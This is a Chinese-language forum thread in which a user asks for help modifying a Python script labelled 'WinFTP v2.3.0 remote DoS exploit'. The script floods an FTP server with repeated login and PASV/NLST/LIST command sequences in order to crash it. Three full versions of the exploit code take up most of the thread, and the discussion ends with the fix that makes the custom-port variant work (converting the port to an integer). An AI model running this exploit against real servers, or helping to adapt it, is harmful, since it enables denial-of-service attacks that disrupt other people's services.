socket代码请教

socket代码请教

最近找到段程序的代码

原来的:

[Copy to clipboard] [ - ]
CODE:
# WinFTP URL - [url=http://www.wftpserver.com/]http://www.wftpserver.com/[/url]
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import time
import sys

PORT = 21

def help_info():
    print ("Usage: winftp <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def conn(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, PORT))
    except:
        print ("[+] Done!")
        sys.exit(1)

    r=sock.recv(1024)
    print "[+] " + r
    sock.send("USER %s\n" %username)
    sock.send("PASS %s\n" %passwd)
    sock.send("PASV\n")
    sock.send("NLST -1\n")
    sock.send("QUIT\n")
    sock.close()

print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try: sock.connect((hostname, PORT))
    except:
        print ("[-] Connection error!")
        sock.close()
        sys.exit(1)

    while passwd:
        conn(hostname, username, passwd)
        time.sleep(0.2)

    sys.exit(0)
-------------------
更改之后的,无法实现
# WinFTP URL - [url=http://www.wftpserver.com/]http://www.wftpserver.com/[/url]
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import time
import sys


def help_info():
    print ("Usage: winftp <host> <port> <user> <password>\n")
    print ("Note: anonymous is enought\n")

def conn(hostname, port, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, port))
    except:
        print ("[+] Done!")
        sys.exit(1)

    r=sock.recv(1024)
    print "[+] " + r
    sock.send("USER %s\n" %username)
    sock.send("PASS %s\n" %passwd)
    sock.send("PWD\n")
    sock.send("FEAT\n")
    sock.send("REST 0\n")
    sock.send("PASV\n")
    sock.send("LIST\n")
   

print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 5:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    port=sys.argv[2]
    username=sys.argv[3]
    passwd=sys.argv[4]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: sock.connect((hostname, port))
except:
        print ("[-] Connection error!")
        sock.close()
        sys.exit(1)

while passwd:
      conn(hostname, port, username, passwd)
      time.sleep(0.2)
      sys.exit(0)

------------------

我是想用winftp <host> <port> <user> <password> 连接,可以自已指定port,, 希望大虾能指教一下怎么弄, 多谢!!

可不可以把问题再说的明白点?只是想解析命令行参数么?
嗯,解析命令行参数, 之前能解析 winftp <host><user> <password>
但是port是指定的,
我想改成 port 通过命令行输入,
winftp <host><port><user> <password>
用sys.argv是可以的,或者用用optparse这个库,自己查一下吧 例子很多。
我上面改的代码用sys.argv ,但是我不知道错在哪,试验不成功,希望帮助解决一下,谢谢!


[Copy to clipboard] [ - ]
CODE:
# WinFTP URL - [url=http://www.wftpserver.com/]http://www.wftpserver.com/[/url]
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import time
import sys

def help_info():
    print ("Usage: winftp <host> <port> <user> <password>\n")
    print ("Note: anonymous is enought\n")

def conn(hostname, Port, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, Port))
    except:
        print ("[+] Done!")
        sys.exit(1)

    r=sock.recv(1024)
    print "[+] " + r
    sock.send("USER %s\n" %username)
    sock.send("PASS %s\n" %passwd)
    sock.send("PWD\n")
    sock.send("FEAT\n")
    sock.send("REST 0\n")
    sock.send("PASV\n")
    sock.send("LIST\n")
   

print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 5:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    Port=sys.argv[2]
    username=sys.argv[3]
    passwd=sys.argv[4]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: sock.connect((hostname, Port))
except:
        print ("[-] Connection error!")
        print hostname, Port, username, passwd,
        sock.close()
        sys.exit(1)

while passwd:
      conn(hostname, Port, username, passwd)
      time.sleep(0.2)
      sys.exit(0)

结果是
[-] Connection error!

hostname,Port,username,passwd 的值没错,就是没有传到sock.connect((hostname, Port)),

不知道要怎么改
弄明白了,我 PORT类型,应改为int()就好了,改成了谢谢!!